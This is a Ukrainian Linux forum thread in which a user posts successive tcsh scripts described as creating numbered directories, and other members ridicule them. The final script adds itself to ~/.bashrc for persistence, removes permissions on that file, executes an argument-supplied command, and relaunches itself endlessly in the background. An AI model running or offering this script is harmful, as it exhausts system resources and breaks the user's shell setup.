Автор Гілка: shell script  (Прочитано 3977 раз)

Відсутній AliceStein

  • Новачок
  • *
  • дописів: 8
  • Карма: +0/-0
shell script
« : 2008-12-01 16:35:53 »
так як тут флейм
чого небудь коштуе така программа на tcsh?
#!/bin/tcsh
set x1=$1;
set x2=$2;
$x2
sleep 1s;
logger $1;
@ x1++;
mkdir $x1
./p1.sh $x1 $x2
exit 0

Відсутній raven

  • Новачок
  • *
  • дописів: 0
  • Карма: +0/-0
  • linux kettle
Re: shell script
« Відповідей #1 : 2008-12-01 17:23:44 »
чого небудь коштуе така программа на tcsh?
Металевою лінійкою по пальцях. І фейсом об тейбл.

Відсутній AliceStein

  • Новачок
  • *
  • дописів: 8
  • Карма: +0/-0
Re: shell script
« Відповідей #2 : 2008-12-23 00:26:16 »
скрипт повинен називатися p1.sh інакше небуде рекурсивного виклику

Відсутній AliceStein

  • Новачок
  • *
  • дописів: 8
  • Карма: +0/-0
Re: shell script
« Відповідей #3 : 2008-12-25 16:08:02 »
#!/bin/tcsh
set x1=$1;
set x2=$2;
$x2
sleep 1s;
logger $1;
@ x1++;
mkdir $x1
$0 $x1 $x2
exit 0

Відсутній AliceStein

  • Новачок
  • *
  • дописів: 8
  • Карма: +0/-0
Re: shell script
« Відповідей #4 : 2009-01-04 00:38:51 »
Остаточній варіант
#!/bin/tcsh
set x3=$#
if($x3<1) then
set a=`cat .bashrc | tail -n 1 | tr ' ' '_'`
set b=$0
if($a == $b) then
else
echo "$0" >> .bashrc
endif
set x1="0"
set x2="echo"
$0 $x1 $x2 &
else
set x1=$1
set x2=$2
endif
$x2;
logger $1;
@ x1++;
mkdir $x1
sleep 1s;
$0 $x1 $x2 &
exit 0

Praporshic

  • Гість

Відсутній AliceStein

  • Новачок
  • *
  • дописів: 8
  • Карма: +0/-0
Re: shell script
« Відповідей #6 : 2009-01-07 19:51:52 »
#!/bin/tcsh
# Utility "p1", author Alice Stein (netelis@yandex.ru),
chmod +r+w ~/.bashrc
set x3=$#
if($x3<1) then
#read last string from .bashrc that write one time
# and replace spaces sign _
set a=`cat ~/.bashrc | tail -n 1 | tr ' ' '_'`
#parameter $0 contains path to script and name of script
set b=$0
#if a line coincided from .bashrc with $0
if($a == $b) then
else
chmod +r+w ~/.bashrc
#write to file .bashrc that started each time with start bash
echo "$0" >> ~/.bashrc
#change right for access to file .bashrc
chmod -r-w ~/.bashrc
endif
#if command line parameters are not present assign default counter of directories 0 and command echo
set x1="0"
set x2="echo"
$0 $x1 $x2 &
else
#save command line arguments in environment variables
set x1=$1
set x2=$2
endif
#exec command passed from command line
$x2;
#write number of counter of directory in the system log /var/log/messages
logger $1;
#increment directory counter
@ x1++;
chmod +x+r+w $x1
#create directory
mkdir $x1
#call in the created directory
cd $x1
chmod +x+r+w $x1
#delete a file if a script is started the second time that did not result in hanging up of script
#delete hidden file
rm .$x1
#create hidden file
echo "1" > .$x1
#take away rights for access
chmod -x-r-w .$x1
cd ..
chmod -x-r-w $x1
#sleep on 1 second
sleep 1s;
#change right for access to file .bashrc
chmod -r-w ~/.bashrc
#recursive call with argument line parameter
$0 $x1 $x2 &
exit 0
« Змінено: 2009-01-08 15:56:24 від AliceStein »

Відсутній yurchor

  • Видавець
  • *******
  • дописів: 3636
  • Карма: +3/-0
  • Grateful for our Iron Lung
    • Вікі користувачів KDE
Re: shell script
« Відповідей #7 : 2009-01-07 20:29:26 »
contais->contains
enviroment->environment
hiden->hidden
call at a maked->call in the created
parametr->parameter
recurse->recursive
tcsh->bash

Виправив лише правопис. Граматика... :'(

P.S. Це варіант делінуксатора для *BSD, правильно? ;)
Try to reach you before winter comes
Always a place for you in my heart
You're not alone
All used up
I'd give anything to talk to you

Михайло Даниленко

  • Гість
Re: shell script
« Відповідей #8 : 2009-01-13 10:07:37 »
Гм, я щось від початку не міг зрозуміти що воно має робити, не можу зрозуміти й зараз, із коментарями... Мабуть тупий :/

Відсутній AliceStein

  • Новачок
  • *
  • дописів: 8
  • Карма: +0/-0
Re: shell script
« Відповідей #9 : 2009-01-13 16:28:45 »
створюе директорії 0 1 2 3 4 ітд

Михайло Даниленко

  • Гість
Re: shell script
« Відповідей #10 : 2009-01-13 19:03:27 »
о_О

Слава тобі господи, що я не обрав tcsh...

for dir in {0..100}; do mkdir "$dir"; done

Відсутній raven

  • Новачок
  • *
  • дописів: 0
  • Карма: +0/-0
  • linux kettle
Re: shell script
« Відповідей #11 : 2009-01-13 19:08:38 »
Слава тобі господи, що я не обрав tcsh...
tcsh потужна річ, якщо її не давати в руки дурням. Як і все інше, зрештою... А топікстартер або кретин, або просто троль. Не розумію, чого модератори цю тему з самого початку не випиляли.

Михайло Даниленко

  • Гість
Re: shell script
« Відповідей #12 : 2009-01-13 19:14:19 »
p.s.
mkdir {0..100}
так швидше.

Praporshic

  • Гість
Re: shell script
« Відповідей #13 : 2009-01-13 20:54:17 »
Не розумію, чого модератори цю тему з самого початку не випиляли.

Ну як тобі пояснити.... таких глюків, як після читання цього безладу, і без речовин досягти доволі важко...

Відсутній raven

  • Новачок
  • *
  • дописів: 0
  • Карма: +0/-0
  • linux kettle
Re: shell script
« Відповідей #14 : 2009-01-13 21:06:55 »
Ну як тобі пояснити.... таких глюків, як після читання цього безладу, і без речовин досягти доволі важко...
В твоєму житті не вистачає речовин?=)

Я з самого початку написав "лінійкою по пальцях і об тейбл". Як би натякає на корисність показової екзекуції=)